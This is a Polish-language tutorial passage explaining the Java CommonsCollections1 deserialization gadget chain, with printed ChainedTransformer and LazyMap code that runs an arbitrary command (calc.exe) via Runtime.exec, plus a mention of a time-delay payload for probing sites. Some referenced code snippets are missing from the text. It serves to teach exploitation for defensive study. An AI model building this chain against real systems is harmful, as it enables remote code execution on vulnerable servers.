Jeśli nie wiesz nic o ładunkach deserializacji w javie, może być trudno zrozumieć, dlaczego ten kod wykona kalkulator.
Przede wszystkim musisz wiedzieć, że Transformer w Javie to coś, co otrzymuje klasę i przekształca ją w inną.
Również interesujące jest to, że ładunek będący wykonywany tutaj jest równoważny:
Więc, jak pierwszy ładunek jest przedstawiony jako równoważny tym "prostym" jednowierszom?
Po pierwsze, możesz zauważyć w ładunku, że tworzony jest łańcuch (tablica) transformacji:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Jeśli przeczytasz kod, zauważysz, że jeśli w jakiś sposób połączysz transformację tablicy, będziesz mógł wykonać dowolne polecenia.
W ostatniej sekcji ładunku możesz zobaczyć, że obiekt Map jest tworzony. Następnie funkcja decorate jest wykonywana z LazyMap z obiektem mapy i połączonymi transformerami. Z poniższego kodu możesz zobaczyć, że spowoduje to skopiowanie połączonych transformerów wewnątrz atrybutu lazyMap.factory:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
A następnie wykonywane jest wielkie zakończenie: lazyMap.get("anything");
To jest kod funkcji get:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
A oto kod funkcji transform
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Więc pamiętaj, że wewnątrz factory zapisaliśmy chainedTransformer, a w funkcji transformprzechodzimy przez wszystkie te połączone transformery i wykonujemy je jeden po drugim. Zabawne jest to, że każdy transformer używa objectjako wejścia, a object jest wynikiem ostatniego wykonanego transformera. Dlatego wszystkie transformacje są połączone, wykonując złośliwy ładunek.
Podsumowanie
Na końcu, z powodu tego, jak lazyMap zarządza połączonymi transformerami wewnątrz metody get, jest to tak, jakbyśmy wykonywali następujący kod:
Zauważ, że tutaj wyjaśniono gadżety używane do ładunku ComonsCollections1. Ale pozostawiono jak to wszystko zaczyna się wykonywać. Możesz zobaczyć tutaj, że ysoserial, aby wykonać ten ładunek, używa obiektu AnnotationInvocationHandler, ponieważ gdy ten obiekt zostanie deserializowany, wywoła funkcję payload.get(), która wykona cały ładunek.
Java Thread Sleep
Ten ładunek może być przydatny do zidentyfikowania, czy strona jest podatna, ponieważ wykona opóźnienie, jeśli tak jest.